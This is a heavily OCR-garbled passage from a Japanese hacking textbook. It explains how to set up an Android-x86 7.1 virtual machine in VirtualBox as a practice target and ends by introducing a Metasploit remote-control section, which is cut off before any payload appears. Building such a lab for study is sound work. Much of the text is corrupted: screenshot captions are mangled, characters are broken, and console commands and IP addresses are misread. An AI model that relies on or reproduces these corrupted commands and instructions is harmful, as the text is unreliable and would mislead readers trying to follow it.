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1 |Android の ハッ キン グ 環 境 を 構築 する 





Android の アプ ブリ を 開発 する と き は 、 開 発 環 境 の SDK を イン スト ー ル し ます 。 
そし て 、 一般 に アプ リ の 動作 確認 は 、SDK に 付属 の Android エ ミュ レー ター や 実 
機 で 行い ます 。 

本 書 の テー マ は ハッ キン グ な の で 、VirtualBox の 仮想 マシ ン に Android-x86 を 
イン スト ー ル し ます 。 も と も と の Android は 、 ARM CPU 上 で Linux を 実行 し て い 
ます ("1)。Android 端 末 で ある スマ ホ の CPU は ARM で ある た めで す 。 一 方 、 
Android-x86 は 、x86 CPU 上 で Linux が 動作 する よう に 設計 され て いま す 。 そ の た 
め Intel 社 製 の CPU を 搭載 する 一 般 的 な コン ビュ ー タ で も 動作 し ます 。 当然 な が 
ら 、VirtualBox の ゲス ト OS に イン スト ー ル も で きま す 。 

Android-x86 と Android エ ミュ レー ター を ユー ザー 視点 で 比較 する と 、 動作 速度 
に 差 が あり ます 。Android-x86 は ARM プ ロ セ ッ サ ー を エミ ュ レ ー ト し て いる わけ 
で は あり ませ ん 。 つま り 、 Android-x86 の 方 が 高速 に 動作 し ます 。 通常 の 運用 で は 、 
Android-x86 で も 問題 あり ませ ん 。Android ア プリ で ある apk フ ァイル を イン ス 
トー ル で きま す (2)。 ま た 、 プ ブラ ウザ や Google マッ プ な ども 利用 で きま す 。 


交 仮想 マシ ン に Android-x86 を イン スト ー ル する 
VirtualBox の 仮想 マシ ン に Android-x86 を イン スト ー ル し ます 。 


人 @ 空 の 仮想 マン ン を 作成 する 


① Android-x86 の iso ファ イル を ダウ ン ロ ー ド する 

http://www.android-x86.org/download か ら 、Android-x86 の 最新 版 の iso ファ イ 
ル を ダウ ン ロ ー ド し ます 。 吉 筆 時 点 で は Android-x86 v7.1 が 最新 版 で し た 
Candroid-x86_64-7.1-r2.iso ファ イル )。View リン ク を 押す と ダウ ン ロ ー ド が 始ま 
り ま すずの 。 


*1 : その Linux 上 で は 、Dalvik 仮想 マシ ン や bionic ラ イブ ラリ が 動作 し て いま す 。 


*2: Android ア プリ は Java で 作成 され た バイ トコ ー ド で あり 、 Dalvk 仮 想 マ シン で 実行 きれ ます 。 
CPU が ARM や x86 と いう 違い を 気 に す る こと な く 、 同 じ バ イト コー ド で 動作 し ます 。 
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② 仮 想 マ シン を 構築 する 


VirtualBox を 起動 し ます 。 次 の よう な 内 容 で 仮想 マシ ン を 構築 し ます 。 


ジョ ン 番 号 な ど は 自分 ie 





名 前 : Android-x86 v7.1 








仮想 マン ン タイ プ : LinUux 
バー ジョ ン : Linux 2.6 / 3.x / 4.x (64-bit) (*3) 
メモ リー サイ ズ : 1.024M バイ ト 





仮想 ハー ド デ ィ スク を 作成 する 





ァイル タイ ブ プ : VDI 


ー ド デデデ が 
戸 じ デメ 2 半 ハードディスク に ある スト レー ジ : 可変 サイ ズ 


\Android-x86 vV7.1.vdi") 
サイ ズ : 10G バ イト 








WW Oracle VM VirtualBox マネ ー ジ ャ ー 
ファ イル (F) 仮想 マッ ッ (MD 人 A ル 放 H) 


ら ふ 8 3 
Ve 補 M | 画 2 サ ショ y ト GS) | 国 詳 細 (D) 8 | の 上 








ァイル の 場所 : 表示 され た 状態 775 


* 


新規 (N) 設定 (S) 己 座 起動 ( | マタ ッ ウ ー ル (MD | グロー バル ツー ルル (G) 
[ 必 還 間 Kali-Linux-2018.2 (54bit) 周 一 毅 | 過 ブレ LE ュー | 
『, ) 

避 全 邊 上 ndraid-x85 y7.1 





名 前 
| オペ レー テ イン ガ ジ ステ ムル: Linux 25/Bx ア Mx(54-bit) 
調 シス テム | 


出 一: 1024 as 
5 6@ サー 箇 序 フロッピー 光学. ハー ド デ ィ スク Androidx86 v ナ 1 
アカ セラ レー ジョ ンー WT-x/ 導 MD-V ネス テッ ド ペ ポー ジン 
KVN 準 仮想 人 


「 回 ティ ス ブ レ イ 


思 こ Kali-Linux-2018.2 (54bit) の カロ ー ン 
( 馬 四 5 


ビデ オメ モリ ー: 。 16 MB 
リモ ー ト デス カト ゥ ブサ ー バ パー: 無効 
| デオ キャ フチ ャ ー: 無効 


| に スト レー ジ 
トロ ー 
TE 302 ター [光学 ドラ イ ゴ ] 空 
コントローラ ー: ST ーー 
SaT 和 ポー ト 0 ndraid-x85 y7.1ydi (G 丘 常 . 0 GB) 
( 旧 オー ディ オ 





ホ ュ トド コイ バー Windainrs TiirartSni in 





図 1 仮想 マシ ン を 作成 し た と ころ 


*3 : Android と いう 選択 肢 が な けれ ば 、 こ の よう に 設定 し ます 。 


計 ン グ 
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人 @ 仮想 マン ン の 設定 を する 


Android を イン スト ー ル する 前 に 、 仮 想 マ シン の 設定 を し ます 。 
収 想 マ シン の 仮想 LAN ア ダ プ ター を 次 の よう に 設定 し ます 。 





タフ ター1 
割り 当て : ホス ト オ ン リー アダ プター 
名 前 : VirtualBox Host-Only Ethernet Adapter 











基本 的 に は ポス ト オ ン リー アグ プター に し て お き 、 イ ンタ ー ネ ホッ トド に アノ クセ や セス 
する 必要 が ある 際 に は NAT に 変更 し ます 。 

仮想 マシ ン の USB は 、 USB 20 コ ント ロー ラー を 選択 し ます 。 すでに VirtualBox 
Extension Pack が イン スト ー ル 済み な の で USB 2.0 を 指定 で きま す 。 


@ Android-x86 を イン スト ー ル する 
次 の 手順 で 、 仮 息 マ シン に Android-x86 を イン スト ー ル し ます 。 


①iso ファ イル を 読み 込む よう に 設定 する 

仮想 光学 ドラ イブ が iso フ ァイル を 読み 込む よう に 設定 し ます C4)。 設定 画面 の 
スト レー ジ を 志 び 、 兆 学 F ラ イブ の CD アイ コン を 間 し て 、 ダ ウン ロー ド し た iso 
ファ イル を 指定 し ます 。 


② 仮 想 マ シン を 起動 する 
収 想 マ シン を 超 動 し ます 。 iso フ ァイル か ら 超 動き れ 、 メ ニュ ー が 表示 され ます 。 
ここ で は 、「| Imstallation - Install Android x86 to harddisk | を 選び ます ( 図 2。 


*4 : iso フ ァイル か ら の OS の イン スト ー ル は 、 書 籍 4.2 の | Windows10 の ゲス ト OS を 導入 する 」 
で も 説明 し ま ト し, だ 。 
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EE ndraoid-x85y 評 1 [実行 中 ] - Dracle VM VirtualBax ーー 口 XX 
コ ァ イル 仮想 マッ セッ 表示 入力 デ 上 【 イ ス 上 ルプ 
Rndrnid-xBb Liue & Inmstallatinn CD ?.1-rZ 
HDP 上り = Hm Rmidmnid-xdB uithnurt installatinmn 


IpE 和 0U 上 上 DEbun mnde 
Installatinn - Instal1 Rndrnid-xBb tn harddisk 


HicEd DL TS 


PrESS THah」 tn Edit antinnms 


2/77274 の 7 re161 07 如 CLOSD き QIB 
⑨ 葛 本 占 固 面 誠 ⑳ [回 Rieht Contol 。 





図 2 iso フ ァイル の 起動 時 の メニ ュー 


《⑧ デ ィ ス ク の パー ティ ショ ン を 作成 する 
ディ スク の パー ティ ンション を 人 作成 する メニ ュー が 表示 きれ ます 。 lel キー で 
| Create/Modify partitions| を 選択 し ます ( 図 3)。 





記 』ndraoid-x85y1 [実行 中 ] - Dracle VM VirtualBox 一 口 X 
ファ イル 仮想 マタ セッ 表示 入力 デ 【 イ ス 上 ルプ 





較 @ 喝 部 占 固 曽 億 ⑳[ 回 Right Control 。 


図 3 パー ティ ショ ン の 作成 メニ ュー 
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GPT を 使う か と いう ダイ アロ グ が 表示 され る の で 、No を 選択 し ます ( 図 4)。 





回 | Android-x86 v7.1 [実行 中 ] - Oracle VM VirtualBox ー ロ ※ 
ファ イル 仮想 マタ ッ 表示 入力 (イス 上 ルプ 


Canf irm 


Do uou want to use GPT? 


<yes >  ( 還 2 





L 。 。 回 〇 中 彰 中 固 画 回 ⑨( 加 Rehtconeel 
図 4 GPT の 使用 に 関す る ダイ アロ グ 





する と 、cfdisk と いう パー ティ ション ツー ル が 起動 し ます 。 グ ラフ ィ カ ル な 画面 
で は あり ませ ん が 、 完 全 な コマ ンド 形式 で も な い の で 、 イ ンタ ー フ ェ ー ス と し て 
は わか りや すい 方 と いえ ます ( 図 5) (5) 。 





世 Android-x86 v7,1 [実行 中 ] - Oracle VM VirtualBox ー ロ ※ 


ファ イル 仮想 マタ セッ 表示 入力 了 デ 光 イス ん ルプ 
CfdiSK (uti1 一 1imux-mg と .14.1) 


ァ GB 
IBMITI う よび s 
Part Tupe FS Tupe LLabe1 1] 


Pri ン Lnn Free Space 


じじ YEE TH 


回 ②⑨ 喝 本 占 較 凍 軸 ② 回 Right Cantral 











図 5 cfdisk の 起動 時 


*5: パー ティ ショ ン の 作成 手順 や 、 パ ー テ ィ シ ョ ン ツ ー ル の コマ ンド 操作 に 慣れ ん て お く と 、OS の 
イン スト ー ル 時 に 役立ち ます 。 
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まず は [New」] (新規 作成 ) > [Primary] (プラ イマ リ ) を 選び ます 。 す る と 、 
サイ ズ の 指定 画面 に な り ま す 。 デ フォ ルト で は 仮想 ディ スク サイ ズ の 上 限 値 が 表 
RS き Wb て の の の 0 で 、 で の まま に し て お きき まず 。 も し リ イ ス が 思 の る の で の 0 ば 、 か 
イズ を 手 入 力 し ます 。 

リス ト に sdal が 現れ ます 。 こ の 時 点 で は まだ パー ティ ショ ン は 作成 され て お ら 
ず 、 作 成 予定 の 状態 が 表示 され て いま す 。 sdal を 選択 し た 状態 で [Bootable] を 
選び 、 Bootable フラ グ を 設定 し ます 。Flags に Boot と 出れ ば 、 ここ が 起動 パー ティ 
ショ ン に な り ま す ( 図 6)。 


医 Android-x86 v7.1 [実行 中 ] - Oracle VM VirtualBox 
ファ イル 仮想 マッ タツ ッ 表示 入力 上 イス 上 ルプ 
1 di 


Pr imar Limux 


[ Baatable ] 関 還 彰 了 3534: 抽 時 関 是 He lp 
[ ITWE 1 [ 


MI リコ ] I Un itS 


] [ Maximize 
] | 


Mrite 


Tngg le bnntable flaq nf the curryYe 


と 1! 
農 ① 遇 








図 6 パー ティ ショ ン の 作成 の 準備 完了 


以上 で パー ティ ショ ン の 作成 準備 が で きた の で 、 [Write] を 選び ます 。 "Are you 
sure you want to write the partition table to disk?P (ディ スク に パー ティ ショ ン 
デー ブル を 書き 込ん で よい で すか ) と いう メッ セー ジ が 表示 され る の で 、Yes を 
人 人力 し ます 。 完了 する と 、 最 初 の リス ト 表 示 に 戻り 、 そ の 下 に "Wrote partition 
table to disk' (ディ スク に パー ティ ショ ン テ ー ブ ル を 書き 込み まし た ) と 表示 され 
ます 。[GQuit] を 選択 し て 、 パ ー テ ィ シ ョ ン ツ ー ル を 終了 し ます 。 


(《④/ パ パーテ ィ シ ョ ン を 選択 し て Android-x86 を イン スト ー ル する 
"Please select a partition to install Android-x86 (Android-x86 を イン スト ー ル 
する た め の パ ー テ ィ シ ョ ン を 選択 し て くだ さい ) と いう メッ セー ジ が 表示 され る 
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の で 、sdal1 を 選ん だ 状態 で OK を 押し ます 。 


*・ フ ァイル シス テム と し て 、ext4 を 選択 する 。 フ フォー マッ ト の 確認 グイ アロ グ が 
表示 され る の で 、Yes を 選択 する (*6)。 


s ブ プ ブート ロー ダー と し て GRUB を イン スト ー ル する か と いう 確認 ダイ アロ グ が 表 
示さ れる の で 、Yes を 選択 する 。 


・ /system デイ レク トリ を 読み 書き 可能 と する か と いう 確認 ダグ ダイアログ が 表示 
され る の で 、Yes を 選択 する 。 


以上 で Androix-x86 の イン スト ー ル が 開始 され ます 。 最 後に 、Congratulations!『 
と いう ダイ アロ グ が 表示 され れ ば 、 イ ンス トー ル が 完了 し まし た 。Reboot を 選択 
て 、 再 起動 し ます ( 図 7)。 


Ed 上 ndroid-xB5y 計 1 [実行 中 ] - Dracle VM VirtualBox 
ファ イル 仮想 マッ タッ 表示 入力 (イス A 上 ルプ 





賠 @ 踊 部 少 占 剛 面 詳 ⑳[ 加 | Right Control 
図 ア イン スト ー ル 完了 ダイ アロ グ 


沙 Android-x86 の 初期 設定 を する 
Android-x86 の バー ジョ ン に よっ て は 、 初 期 設 定 の イン ター フェ ー ス や メッ セー 


*6:NTFS や FAT32 な どの ファ イル シス テム も 選択 で きま す が 、 後 で GRUB も イン スト ー ル する 
の で ext4 を 選び ます 。 
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ジ 内 容 が 異な り ま す (7)。 し か し 、 他 の バー ジョ ン で も 基本 的 な 流れ は 同様 で あ 
り 、 こ こ で の 人 解説 は 参考 に な る は ず で す 。 


① 仮 想 ド ライ ブ の ディ スク を 除去 する 

iso プ ァイル が 認識 され た まま だ と 、 ま た イン スト ー ル の メニ ュー が 表示 され ま 
す 。 仮想 マシ ン の メニ ュー の 「 デ バイ ス 」 > | 光学 ドラ イブ | > | 仮想 ドラ イブ 
の 5 プイ スク る 除 ま | を 革 び ます 。 そ の 人 矯 メニ と ュー の | 収 相 マシ ン リ 1 リセ ッ 
ト 」 を 押し て 、 再 起動 し ます 。 


(② 初 期 設 定 を 始め る 
GRUB の メニ ュー が 表示 され ます 。 一 番 上 の 「 Android-x86 7.1.r2] を 選び ます 
( 図 8)。 


回 此 ndroid-x85y 計 1 [実行 中 ] - racle VM VirtualBox 
ファ イル 仮想 マッ セッ 表示 入力 デ 上 中 イス ムル ルプ 


Trusted GRUB 1.1.5 (http : ノ ノ /trustedqrub .Sf .mnet) 
[ No TPN detected* ] (633KR louer / 1047488KR upper memoru) 
邊 0 邊 
Rndroid-xBb 7.1-r〆 (Debuq mnde) 
Rndrnid-x86b 7?.1-rZ (Debu momndeSet) 
Rndrnid-xd8b 7?.1-rZ (Debug uiden=LUDS ・d ) 


PresS enter nr ぅ > to boot the selected US, "e' tn edit the 
Commands befnre banting, "r to relnoad, "Cc fnr a cnmmand-1inmne , 
"/YnN” to smcCh nr < tn qo back if ponsSsSible . 








信 : ロロ [ 回 凍 回 ッ 因 Right Cantral 


図 8 GRUB の メニ ュー 表示 


7 : 初期 設定 に て WiEi の 設定 を 聞か れる 場合 も あり ます 。 
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する と 、 画面 に Android の ロゴ が 表示 され て 起動 し ます ( 図 9)。 初 回 起動 時 は 、 
初期 設定 が 始ま り ま す 。 


話 Android-x85 y7.1 [実行 中 ] - Oracle VM VirtualBax 
ファ イル 仮想 マッ セッ 表示 入力 デ 江 イス ルプ 


@[a【@I(@)【@ 








舌 史 呼 2 回 固 量 回 Right Cantral 


9 Android の ロゴ の 表示 


な お 、 一 定時 間 無 反応 だ と た スクリーンセーバ ー が 起動 し て 真っ 暗 に な り ま す 。 
スク リー ン セ ー バ ー を 解除 する に は 、 通 常 Android 端 末 の 電源 ボタ ン を 押し ます 
が 、VirtualBox で 起動 し た 場合 は それ に 相当 する も の が な く 、 解 除 が うま く で き 
な く な る 溢れ が あり ます 。 そ の た め 、 初 期 設 定 を 終 を る まで は 、 操 作 が 遅れ な い 
よう に 気 を 付け て くだ さい 。 


010 | 第 2 部 | ハッ キン グ を 体験 する 


(③ 言 語 を 指定 する 
最初 は 言語 を 指定 し ます 。 こ こ で は 実験 が 目的 な の で 、[「ENGLISH (UNITED 
STATES) |」 を 選択 し て 、[LETS GO] ボタ ン を 押し ます ( 図 10)。 


回 上 』ndraid-x86 y7.] [実行 中 ] - Dracle VM VirtualBox 
コ ァ イル 仮想 マタ ッ 表示 入力 デ 渋 イス A 由 プ 


<J【66】II【< 


大 ⑨ 欧 本 自 固 画 語 ⑳[ 思 Right Contol 。 





Android 上 の マウ スポ イン ター を 操作 する に は 、 ド ラッ グ し ます 。 慣れ な いと 探 
( 作 の が 睦 し が か っ たり 、 マ ウス ポイ ンク グー が 由 ん だ こり する こと ⑥ あ る の で 。 キ ギー ボデー 
ド で 操作 し た 方 が 無難 と いえ ます ( 表 1)。 
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表 1 キー 操作 の 方 法 











キー 対応 する 操作 

[Tab] キー 選択 対象 の 切り 替え 

[Space] キー ボタ ン の プッ シュ 

[ESC] キー 戻る ボタ ン の 代替 

矢印 キー 選択 対象 の 切り 替え (使用 で き な い 場面 も ある) 














(〈④ セ ッ ト ア ッ プ 方 針 を 選択 する 

新しく セッ ト ア ッ プ する か 、 怒 存 の 端末 か ら デ ー タ を コビー する か を 選択 する 
ダイ アロ グ が 表示 され ます 。 こ こ で は 、Set up as new (新規 セッ ト ア ッ プ ) を 
選び ます ( 図 11)。 





回 』ndroid-x85 yr7.1 [実行 中 ] - Dracle VM VirtualBox ー 回 シ 
コ ァ イル 仮想 マタ ッ 表示 入力 束 イ ス 人 A ル プ 


四 


Welcome to your VirtualBox 


の Copy your data 


From an iPhone⑮ or Android device, or the cloud 


1 Set up as heW 
Get a fresh start 





厄 ⑨ 欧 画 自 央 画 設 ⑳[ 加 Right Control 。 


図 11 セッ ト ア ッ プ 方 針 の 選択 ダイ アロ グ 
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Google の サイ ン イ ン 画 面 が 表示 され ます 。 Gmail や Play ス ト ア を 用 いる 予定 で 
あれ ば 、 こ こ で ログ イン し て お いて も よい で し ょ う 。 実験 で は Google の ログ イン 
は 不要 な の で 、[SKIP] ボタ ン を 押し ます ( 図 12) 。 


回 | Android-x86 y7.1 [実行 中 ] - racle VM VirtualBox 
ファ イル 仮想 マタ ッ 表示 入力 束 イ ス A 由 プ 


Google 


SIdh In 


with your Google Account. Learn more 


Email or phone 


Fordot email? 


Create account 





研 ⑨ 欧 本 自 較 耐 詳 ② 加 Right Contral .。 


図 12 Google の サイ ン イ ン 画 面 
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スキ ッ プ し よう と する と 、|IPlay スト ア か ら の アプ ブ プリ の グ ウ ン ロー ド が で き な 
い | [Google アカ ウン ト へ の バッ クア ッ プ が で き な い 」 と いう 説明 が 出 て 、 本 当 に 
スキ ッ プ する か を 聞か れ ま す 。 間 題 な い の で その まま [SKIP] ボタ ン を 押し ます 
( 図 13)。 

















EE 』ndroid-x85v 了 7.1 [実行 中 ] - Oracle VM VirtualBox 


ファ イル 仮想 マシ ヤッ 入力 デ イ ス ん 上 ルプ 


Skip account setuD? 


Without a Google Account, you wont 
be able to: 


Download aDDS, ImUSIC, 
games, and other content 
from Gooqgle Play 


3 
デ 


Back up your aDDS to 
Google, and sync Gooqle 
ServiceSs ike Calendar and 
Contacts with your device 


SKIP 


GO BACK 








圏 〇 昌 本 上 自 因 曽 請 ⑫[ 選 Right Control 





図 13 スキ ッ プ の 確認 ダイ アロ グ 
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⑤ 日 時 を 設定 する 

日 時 (Date & tme) の 設定 画面 が 表示 され ます 。 デ フォ ルト の まま で 時 間 が 
合っ て いた (Tokyo に な っ て いた ) の で 、 そ の まま [NEXT] ボタ ン を 押し ます 
( 図 14) 。 


上 』ndraid-x86 yr7.] [実行 中 ] - Dracle VM VirtualBox 
コ ァ イル 仮想 マタ ッ 表示 入力 テ 渋 イス A 由 プ 


円 
Date & time 


Adjust if needed. 


Tokyo 
GMT+09:00 


Date 


Wed, Jul 11, 2018 


Time 


7:50 PM 





② 昌 ロリ ゴク 間 出 画 人 語 ⑧@ 回 Right Contral .。 


14 日 時 の 設定 画面 
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(⑥) 名 前 を 設定 する 
名 前 (Name) の 設定 画面 が 表示 され ます 。 こ こ で は ipusiron と 入力 し て 、 
[NEXT] ボタ ン を 押し ます ( 図 15)。 


』ndroid-x85 yr.1 [実行 中 ] - Dracle VM VirtualBox 
ファ イル 仮想 マタ ッ 表示 入力 下 イ ス AA ルプ 


る) 
Name 


Adding your name allows your phone to personalize Some aDDS. 


Name 


e.d. Joe Smith 





トウ し 本 必 各 出 上 曽 倍 ⑧@ 加 Right Contral .。 


図 15 名 前 の 設定 画面 
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⑦Google の サー ビス に 関す る 設定 を する 

'Google Services 画面 が 表示 され ます 。 す べ て の 項目 を OFF に し て 、[MORE」 
ボタ ン を 押し ます 。[Tab] キー で トグル スイ ッ チ の 位置 に 移動 し て 、[Space] 
キー で ON・OFF を 切り 准 え で きま す 。 最 後に IMORE] ボタ ン か ら [TI AGREE」] 
ボタ ン に 切り 凌 わる の で 、[I AGREE] ボタ ン を 押し ます ( 図 16)。 


ndraid-x85 yr7.1 [実行 中 ] - Uracle VM VirtualBox 
コ ァ イル 仮想 マタ ッ 表示 入力 デ 渋 イス A 由 プ 


プー 


\ フ 
Google Services 


Tap to learn more about each service, Such as how to turn it on or off later. Data 
will be used accordind to Googles Privacy Policy. 


Location 


9 Helpapps find location マ 


Use Googles location service to help apps determine your location. 寺 
Anonymous location data will be sent to Gooqle when your device IS On. 


Improve location accuracy マ 


Allow apps and services to scan for WLFiand Bluetooth signals, even when 村 
these settings are off. 





⑤⑨ 史 末 上 自 較 耐 軸 ② 回 Right Contral 


図 16 "Google Services' 画面 
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"Anything else? 画面 が 表示 され る の で 、 そ の まま [ALL SET] ボタ ン を 押し 
ます ( 図 17)。 


回 』ndroid-x85 yr.1 [実行 中 ] - Dracle VM VirtualBox 
コ ァ イル 仮想 マタ ヤッ 表示 入力 デ 【 イ ス AA ルプ 


ジ 


Anything else? 
Here are a few more thinqs you can set up. Or you can finish them later by goind to 
SettindS. 


トコ Add another email account 
Set uD your Dersonal or work email 


On-body detection 
Keep your device unlocked while itS on you 


農 〇 中 部 器 固 面 較 ⑲[ 回 Reht Conwol 。 





17 Anything else?” 画面 
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(⑧: ホーム アプ リ を 選択 する 
ホー ム ア プ リ の 選択 を うな が され ます 。 Launcher3 と Taskbar を 選べ る の で 、 こ 
こ で は Launcher3 を 選択 し て 、ALWAYS を 選択 し ます ( 図 18)。 





Ed 上 ndroid-x85 y 豆 1 [実行 中 ] - Dracle VM VirtualBax 
ファ イル 仮想 マシ セッ 表示 入力 上 イ ス w 上 ルプ 


Select a Home apDD 


Launcher3 


口 】 Taskbar 








知 コ し 当 ロ ゴン | | 因 面 較 ⑫ [回 Right Contol 


図 18 ホー ム ア プ リ の 選択 


Android の ホー ム 画 面 が 表示 され た ら 、 和 初期 設定 は 成功 で す ( 図 19)。 
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皮 ndraid-x85 yr7.1 [実行 中 ] - Dracle VM VirtualBox ー 口 4 
ファ イル 仮想 マタ ッ 表示 入力 デ 避 イス AL プ 


区 


EURO に 





民 り 中 部 丘 固 面 回 [回 Reht Contel 。 


図 19 ホー ム 画 面 


⑨ | マウ ス 統 合 ] の 動作 を 確認 する 

VirtualBox の メニ ュー の | 入力 ]」 > | マウス 統合 |] で チェ ッ ク を 入れ た と き と 
そう で な いと き の 動 作 を 確認 し ます 。 

チェ ッ ク を 入れ る と 、 ド ラッ グ で マウ スポ イン ター を 操作 し ます 。 一 方 、 チ ェ ッ 
ク を 外す と 、 マ ウス ポイ ンタ ー が 仮想 マシ ン 側 に キャ プチ ャ され 、 ド ラッ グ せ ず 
に マウ スポ イン ター を 操作 で きま す 。 た だ し 、 仮 想 マ シン か ら 抜 ける と き に は ホ 
AA トキ この 人 し まう 。 

マウ ス 統 合 の チェ ッ ク を 外し た 後に 、 仮 想 マ シン を 起動 し 直す と 、 マ ウス 約 合 
の チェ ッ ク が 入っ た 状態 に 戻る こと に 注意 し て くだ さい 。 
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⑩ ス クリ ー ン セー バー を 停止 する 

Android 端末 の 実機 で あれ ば 、 バ ッ テ リ ー の 消耗 を 防ぐ た め に スク リー ン セ ー 
2Ye を 設定 し て お きま すず す 。 し か し も 、 収 相 マ ン ン で きえ スク リー シセ ー パ バー に な っ て 
し まう と 解除 が うま く で きす に 不便 で ある た だ た め 、JAndrodd の スク リー ン セ ー パー 
を 停止 し ます C8)。 

設定 画面 を 表示 する た め に は 、 中央 下 に ある 矢印 を 押し 、 ア プリ 一覧 を 出し て 、 
ISettngs]|] アイ コン を タッ プ し ます 。|Settings] アイ コン > [Display」 > 
| ScreenSaver」 を 選び 、|OFF]」 に し ます 。 さらに 、| Display」 > |Sleep」 で 最も 
長い 時 間 を 選び ます 。 も し 常時 点灯 に 相当 する 項目 が あれ ば 、 そ れ を 選択 し ます 
( 図 20) 。 





橋 Android-x86 v7.1 [実行 中 ] - Oracle VM VirtualBox ー 口 XX 
ファ イル 仮想 マッ タッ 表示 入力 デイ ス ムル ル プ 
1A| 


を Screen SaVer 


Off 


To control what happens when the phone iS docked and/or sleepinq, turn Screen SaVer On. 











農 うり 史 部 器 峰 凍 め [ 層 | Right Cantral 


図 20 スク リー ン セ ー バ ー の 無効 化 


*8 : 仮想 マシ ン か ら ACPI シ ャ ッ ト ダ ウン を 送信 する と スリ ー プ が 解除 され ます 。 
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⑪ 開 発 者 モー ド に 切り 替え る 

|Settmgs] アイ コン > |「About tablet| を 選び ます 。| Build number」 の 行 を 7 
回 タッ プ す る と 開発 者 (developer. モー ド に 切り 茜 わり ます 。|Settings」 画面 に 
戻る と 、 System グ ルー プ に 「Developer options] と いう 項目 が 増え て いま す ( 図 
2 CC で USB デバ パッ キン ノム と る 用 多 に で きま げす 。 





旨 | ndroid-x85 y 了 1 [実行 中 ] - Oracle VM VirtualBax 一 口 XX 
ファ イル 仮想 マッ ッ 表示 入力 デ 区 イス 上ル プ 
AI 


SettindSs 


Google 


Lanquages & input 
Enqlish (United States) 


ぐぅ Backup &reset 


System 


⑨ Date & time 


GMT+09:00 Japan Standard Time 


廿 。 Accessibility 


Printing 
0 print jobs 


し] 


SUDe「uSe「 


Developer options 





岡 ⑨ 欧 醒 自 固 硬 層 ⑧ 回 clr al 


図 21 開発 者 モー ド に な っ た と き 


⑫ 基 本 操作 を 確認 する 
基本 操作 を 説明 し ます 。 


* [Altl キー で スク リー ン キ ー ボ ー ド が 表示 され る 。 [Ctrl| + [IAlt] キー を ホス 
トキ ー に し て いる と き 、[Alt」 キー を 押し 続け な が ら [Ctrll キー を 押し て し ま 
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うと 、 板 想 マ シン か ら 抜 けら れる が 、 ス クリ ー ン キー ボー ド が 出 て し まう 。 こ 
れ を 防ぐ に は 、[Ctrl] キー を 押し 続け な が ら [Alt] キー を 押す 。 

・[Dell キー で マウ スポ イン ター が 消え る 。 マ ウス を 動か す と マウ スポ イン ター 
が 再 表 示さ れる 。 

・ 上 部 を クリ ッ ク す る と 、 通 知 メ ニュ ー が 表示 され る 。 


⑬ ネ ットワーク の 状態 を 確認 する 

ここ で は 、 ネ ットワーク の 状態 の 確認 ・ 設 定 に つい て 説明 し ます 。 

Settings 画面 で 、「 Ethernet Configuration」 と いう 項目 が あれ ば 、 そ こ で LAN 
アダ プター の IP アド レス を 設定 で きま す 。 し か し 、Settngs 画面 に 有線 LAN に つ 
いて の 項目 が な いこ と も あり ます 。 この よう に Android-x86 の GUI 画 面 は 、 ネ ッ ト 
ワー ク の 状 右 を 確認 で き な か っ た り 、 し に く か っ た り し ます 。 こ うい っ た 場面 で 
は コン ソー ル 画 面 が 便利 で す 。 

[Alt] + [Fn1] キー を 押す と 、GUI 画面 か ら コ ン ソ ー ル 画面 に 切り 准 わ り ま す 。 
コン ソー ル 画 面 で は シェ ル が 起動 し て お り 、Linux コマンド を 受け 付け ます 。 
ifconfig コ マン ド を 使う と 、IP ア ドレ ス を 確認 で きま す 。 デ フォ ルト で は 動 的 に IP 
アド レス が 割り 当て られ て いま す ( 図 22)。 
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橋 Android-x85 y7.1 [実行 中 ] - Oracle VM VirtualBax 二 ロ X 


ファ イル 仮想 マッ タツ 表示 入力 デバイ ス ん ルプ 
Trusted GRUB mnu bootinmg "Rndroid-xB6 ?.1-r2" 


Progress: 半 匠 Detecting androiq-x86 ... foumd at ノン deu ン sda1 


nhnNDRHUIDDxd6 64: ノ 革 ifconmfiq 
Link encap: Loca1 WT litg 1 
1inet addr .0.1 NM の 
1net6 add 


nueYYuns:0 frame:O 
nuUEYYUunS:0 Carrier:0 


RX butes:0 TX butes :0 
Link encap:Ethernet HMaddr 08: 
inet addr :10.0.0.101 ae 

di10 WT.1010 


り 0 dPniDmed: 0 硬 いり gol Ya 
に (| mapped : 10] ouerrums : egg gHU) 


に | 記 
RX butes :1423 TX butes :3007 








り 中 本 グ 占 軒 画 身 ⑲( 回 cwir ak 


図 22 コン ソー ル 画 面 で IP アド レス を 確認 


NIINIIINNM MM ON 
す 。 た だ し 、 こ の 設定 は シス テム を 再起 動 す る と 消え ます 。 


x86_64:/ # 1fconfig eth9 19.9.9.29/24 up で て 還 BMN を: か 潮 
x86_64:/ # Poute add defau1t gw 19.9.9.1 一 本 を の 2 クン iP た 呈 の に か お 
x86 64:/ # ping 19.9.9.1 て 革 あ eS の ji 料 間 





な お 、LAIK| キ 1En7」 キー を すず と 、 コ ロン ソ 画面 か ら GUI 画 面 に 戻り ま 
す 。 


⑭ 電 源 を 切る 
最後 に Android-x86 の 電源 の 切り 方 を 説明 し ます 。 仮想 マシ ン の メニ ュー の | 仮 
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想 マ シン | > IACPI シ ャ ッ ト ダ ウン | を 選び ます (*9) 。 す る と 、Android-x86 上 
で 、 Power off と Restart の 選択 画面 が 表示 され ます 。 こ こ で Power off を 選ぶ と 電 
源 が 落ち ます ( 図 23)。 


上 ndroid-x85 1 [実行 中 ] - Dracle VM VirtualBax 
ファ イル 仮想 マッ タッ 表示 入力 デイ ス 上 ルプ 


① い Power off 


〇 Restart 





較 ② 踊 画 光 自 還 画 全 ②( 回 clr ah 


23 電源 操作 画面 


9:・ コンソール 画面 か ら は ACPI シ ャ ッ ト ダ ウン が 効き ませ ん 。 
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Android-x86 で 日 本 語 環 境 を 扱う 





日本 語 民 境 を 扱う に は 、 初 期 設 定 に た お ける 言語 の 設定 で 日 本 語 を 選択 し り ま す 。 
すでに 初期 設定 が 終わ っ て いる の で あれ ば 、Settings 画面 の Language か ら 日 本 語 
所 ONEW9 


る [ACN eowgle 入 入 の NN を 登録 NG、 eowglk Ra 信和 用 NC 管 まま LN 
次 の アプ リ を イン スト ー ル し ます 。 


*・ 日 本 語 106/109 キー ボー ドレ イア ウト : 日 本 語 キ ー ボ ー ド を 使う た め 。 
・Google 日 本 語 入 力 : 日 本 語 を 人 力 す る た め 。 
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2 Android を 遠隔 操作 する 





Metasploit で Android 用 の ペイ ロー ド を 作成 し て 、 そ れ を 用 いて Kai か ら 
Android を 大 隔 操作 する 方 法 を 紹介 し ます 。 こ の 実験 に お ける 環境 は 次 の 通り で 
す 。 





